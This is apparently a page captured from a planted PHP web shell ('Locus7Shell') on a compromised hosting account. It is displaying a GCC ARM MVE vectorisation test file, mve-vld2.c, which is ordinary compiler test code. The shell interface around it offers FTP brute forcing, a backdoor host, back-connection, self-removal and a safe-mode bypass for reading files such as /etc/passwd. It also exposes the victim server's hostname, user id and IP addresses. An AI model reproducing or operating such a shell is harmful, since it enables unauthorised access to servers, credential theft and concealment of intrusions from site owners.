Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.target/arm/simd/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     mve-vld2.c (2.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do assemble } */
/* { dg-require-effective-target arm_v8_1m_mve_fp_ok } */
/* { dg-add-options arm_v8_1m_mve_fp } */
/* { dg-additional-options "-O3" } */

#include <stdint.h>

#define M00 100
#define M10 216
#define M01 1322
#define M11 13

#define N 128


/* Integer tests.  */
#define FUNC(SIGN, TYPE, BITS)                        \
  void foo_##SIGN##BITS##x (TYPE##BITS##_t *__restrict__ pInput,    \
                TYPE##BITS##_t *__restrict__ pOutput)    \
  {                                    \
    unsigned int i;                            \
    TYPE##BITS##_t  a, b;                        \
                                        \
    for (i = 0; i < N / BITS; i++)                    \
      {                                    \
    a = *pInput++;                            \
    b = *pInput++;                            \
                                    \
    *pOutput++ = M00 * a + M01 * b;                    \
    *pOutput++ = M10 * a + M11 * b;                    \
      }                                    \
  }

FUNC(s, int, 8)
FUNC(u, uint, 8)
FUNC(s, int, 16)
FUNC(u, uint, 16)
FUNC(s, int, 32)
FUNC(u, uint, 32)

/* float test, keep the macro because it's similar to the above, but does not
   need the ##BITS##_t.  */
#define FUNC_FLOAT(SIGN, TYPE, BITS)                    \
  void foo_##SIGN##BITS##x (TYPE *__restrict__ pInput,            \
                TYPE *__restrict__ pOutput)            \
  {                                    \
    unsigned int i;                            \
    TYPE a, b;                                \
                                        \
    for (i = 0; i < N / BITS; i++)                    \
      {                                    \
    a = *pInput++;                            \
    b = *pInput++;                            \
                                    \
    *pOutput++ = M00 * a + M01 * b;                    \
    *pOutput++ = M10 * a + M11 * b;                    \
      }                                    \
  }

FUNC_FLOAT(f, float, 32)

/* __fp16 test, needs explicit casts to avoid conversions to floating-point and
   failure to vectorize.  */
__fp16 M00_fp16 = 100.0f16;
__fp16 M10_fp16 = 216.0f16;
__fp16 M01_fp16 = 1322.0f16;
__fp16 M11_fp16 = 13.0f16;

#define FUNC_FLOAT_FP16(SIGN, TYPE, BITS)                \
  void foo_##SIGN##BITS##x (TYPE *__restrict__ pInput,            \
                TYPE *__restrict__ pOutput)            \
  {                                    \
    unsigned int i;                            \
    TYPE a, b;                                \
                                        \
    for (i = 0; i < N / BITS; i++)                    \
      {                                    \
    a = *pInput++;                            \
    b = *pInput++;                            \
                                    \
    *pOutput++ = (__fp16)(M00_fp16 * a) + (__fp16)(M01_fp16 * b);    \
    *pOutput++ = (__fp16)(M10_fp16 * a) + (__fp16)(M11_fp16 * b);    \
      }                                    \
  }

FUNC_FLOAT_FP16(f, __fp16, 16)

/* vld2X.8 is used for signed and unsigned chars: 2 pairs.  */
/* vld2X.16 is used for signed and unsigned shorts and __fp16: 3 pairs.  */
/* vld2X.32 is used for signed and unsigned ints and float: 3 pairs.  */
/* { dg-final { scan-assembler-times {vld2[01].8\t.q[0-9]+, q[0-9]+., } 4 } } */
/* { dg-final { scan-assembler-times {vld2[01].16\t.q[0-9]+, q[0-9]+., } 6 } } */
/* { dg-final { scan-assembler-times {vld2[01].32\t.q[0-9]+, q[0-9]+., } 6 } } */
/* { dg-final { scan-assembler-times {vst2[01].8\t.q[0-9]+, q[0-9]+., } 4 } } */
/* { dg-final { scan-assembler-times {vst2[01].16\t.q[0-9]+, q[0-9]+., } 6 } } */
/* { dg-final { scan-assembler-times {vst2[01].32\t.q[0-9]+, q[0-9]+., } 6 } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0064 ]--